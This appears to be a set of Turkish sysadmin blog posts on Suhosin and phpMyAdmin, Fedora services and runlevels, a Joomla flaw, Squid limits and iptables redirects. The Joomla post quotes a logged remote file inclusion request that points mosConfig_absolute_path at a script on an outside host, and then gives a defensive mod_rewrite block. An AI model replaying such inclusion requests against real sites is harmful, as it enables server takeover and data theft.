Php

phpsuhosin ve phpmyadmin

Simdi phpsuhosin derledim, hos guzel calisiyor ama phpmyadmin 'e girerken bazi kisitlamalardan dolayi hata aliyordum. Ilk olarak , blackliste eklemis oldugum apache_getenv fonksiyonunun etkisi idi. ALERT - function within blacklist called: apache_getenv() Bunun icin asagidaki parametleri apachedeki phpmyadmin virtualhost 'unun icine ekleyin. php_admin_value suhosin.executor.func.blacklist " " ikinci sorun ise, phpmyadmin ustunden kullanici eklenemiyordu, alinana hata degisken limitinin asmasindan dolayi idi. ALERT - configured POST variable limit exceeded - dropped variable 'fields[multi_edit][1][ssl_cipher]'php_admin_value suhosin.request.max_vars 400 Bu islemler sonrasinda apache yeniden reload edilmelidir. #Debian 'da /etc/init.d/apache2 reload #Fedora 'da service httpd reload Sevgiyle.
Genel, Linux

Fedora’ da Servisler

Çalışma seviyeleri Runlevel 0 : Bu seviye halt (kapatma) seviyesidir. telinit 0 diyerek sistem kapanır. Runlevel 1 : Single-User Mode olarak bilinen çalışma seviyesidir. Network, X ve çoklu giriş kullanıma kapalıdır. Bu mod sistem bakımı ve kurtarımı yapmak için kullanır. Genelde sistem yöneticileri yedekleme, kurtarma ve onarma için bu seviyeyi kullanır. Runlevel 2 : Multi-User Mode olarak bilinen çalışma seviyesidir. Çoklu kullanıcıya izin verip text tabanlıdır. Runlevel 3 : Runlevel 2 'nın aynısı olup network desteğide mevcuttur. Runlevel 4 : Bu seviye tanımsızdır. Runlevel 5 : Multi-User, network ve X desteği vardır. Gnome ve kde gibi grafik arayüzleri bu seviye de çalışır. Runlevel 6 : Bu seviye reboot (yeniden başlatma) seviyesidir. Sistem baştan başlar. Servislere el ile müdahale etmek Sistem üzerinde çalışan servislerin birisinin konfigürasyon dosyasını değiştirdiğiniz zaman gerekli olan servisi yeniden başlatmanız gerekecektir. /etc/init.d/servis_adı enter yaparisek kullabileceğimiz fonkiyonları görebiliriz > /etc/init.d/httpd /etc/init.d/httpd status komutunu kullanarak servisin o anki durumunu öğrenebiliriz. /etc/init.d/httpd stop servisi durdururuz. /etc/init.d/httpd start tekrar başlatırız. Başka bir kullanım : service servis_adı fonksiyon gibi de kullanabiliriz. (service mysql start) service fonksiyonlari ve kullanimi Konsolda tum servislerin durumlarini gormek isterseniz service --status-all komutunu kullanabilirsiniz. Konsolda tum servisleri yeniden baslatmak icin service --full-restart komutunu kullanabilirsiniz. service servis_adi : kullanabileceginiz sistem baslatma, durdurma, yeniden baslatma, durum gibi fonksiyonlari listeyebilirsiniz. service httpd start (Apache 'yi baslatir) service httpd restart (Apache 'yi durdurur ve yeniden baslatir) service httpd stop (Apache 'yi durdurur) service httpd status (Apache 'nin durumunu verir) Çalışma seviyelerini değiştirmek Servislerin hangi seviyelerde calistigini gormek ve degistirmek icin (konsoldan) chkconfig komutunu kullaniriz.Servislerin hangi seviyede calistigini gormek icin chkconfig --list komutunu kullanabilirsiniz. Ornek bir ciktidan bir satir; yum-updatesd 0:off 1:off 2:on 3:on 4:on 5:on 6:off Yukaridaki ornekte yum-updatesd servisinin 2,3,4,5, seviyelerinde calistigini goruyoruz. [root@fedora ~]# chkconfig --level 2345 yum-updatesd off bu komut ile 2,3,4,5 seviyelerde calisan yum-updatesd servisini bu calisma seviyelerine kapatmis olduk Tekrar ayni seviyelerde calistirmak icin chkconfig --level 2345 yum-updatesd on komutunu kullaniriz. chkconfig kullanimi; chkconfig --level seviye123456 servis_adi on/off [root@fedora ~]# chkconfig --list Sistem servislerini kontrol etmek için aşağıdaki araçları kullanabilirsiniz. chkconfig : Fedora 'nın text konsol tabanlı runlevel ayarlama aracıdır. setup : ncurves tabanlı konfigürasyon aracıdır. İçinde ntsysv 'de mevcuttur. system-config-services : Fedora 'nın GUI tabanlı servis kontrol aracıdır. Konsoldan system-config-services şeklinde çalıştırabiliriz. (Gnome => System > Administration > Services) telinit : Geçerli çalışma seviyesini değiştirmek için kullanabileceğimiz araçtır. ntsysv : Fedora 'nın text tabanlı konsoldan çalışan system servislerini kontrol edebildiğimiz araçtır. Uzun zaman once yazmistim ama toparliyamadigim icin yayinlamamistim. Pek toparlanmis degil ama idare edin. :) Murat Ugur EMINOGLU
Apache, Php

Joomla ‘daki mosConfig_absolute_path acigi

Selamlar, gecen gun karsilastigim bir acik (veya benim gozden kacirmis oldugum) durumu ile karsilastim. Yapmis oldugu joomla 'da mosconfig_absolute_patch 'i kullanarak uzaktaki bir istemciden bir script cagirmak ve sunucu bilgilerini cekmek (disk,ram,cpu, dosya degistirme, silme, ekleme, dizinleri gezme, dizinleri listeleme gibi).  Bu durumu duzeltmek icin ilk aklima gelen php.ini icerisindeki (uzaktaki sunucu ustunden include islemi yaptiran) allow_url_fopen parametresini kapatmakti. Ama kullandigim icin kapatmak pek isime gelmedi ve baska bir cozum olan apache modulu olan mod_rewrite kullanmak idi. Saldiri log'u 217.172.22.207 - - [15/Feb/2008:02:43:49 +0200] "GET ///////?mosConfig_absolute_path=http://www.xxfs.ru./r.txt?? HTTP/1.1" 200 671 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" Mod_rewrite ornek conf 'u
RewriteEngine on
RewriteCond %{THE_REQUEST} mosConfig
RewriteRule ^/* http://www.murat.ws/ [F]
Sevgiyle.
Squid

Squid: WARNING! Your cache is running out of filedescriptors

Feb 5 09:06:19 fw squid[2911]: client_side.cc(2699) WARNING! Your cache is running out of filedescriptors Feb 5 09:06:37 fw squid[2911]: client_side.cc(2699) WARNING! Your cache is running out of filedescriptors loglarda yukaridaki gibi uyari mesajlari aliyorsaniz, Fedora 'da;
/etc/init.d/squid stop

vim /etc/squid/squid.conf
  max_filedesc 4096

vim /etc/init.d/squid
scripten once herhangi bir satira ulimit -HSn 4096 satirini ekliyoruz.

/etc/init.d/squid start
Debian 'da;
vim /etc/defaults/squid
  SQUID_MAXFD=4096

/etc/init.d/squid/restart
islemlerini yaparak sorunu cozebilirsiniz.
Squid

iptables ile squid yonlendirmeleri

Belki cok bilindik bir konu ama gene yazayim. Firewall + Squid ayni makinada ise ; NOT : -i => ici bakan interface iptables -t nat -A PREROUTING -i eth4 -p tcp --dport 80 -j REDIRECT --to-port 3128 Firewall + Squid farkli makinada ise; iptables -t nat -A PREROUTING -i eth4 -p tcp --dport 80 -j DNAT --to 192.168.4.1:3128 Sevgiyle.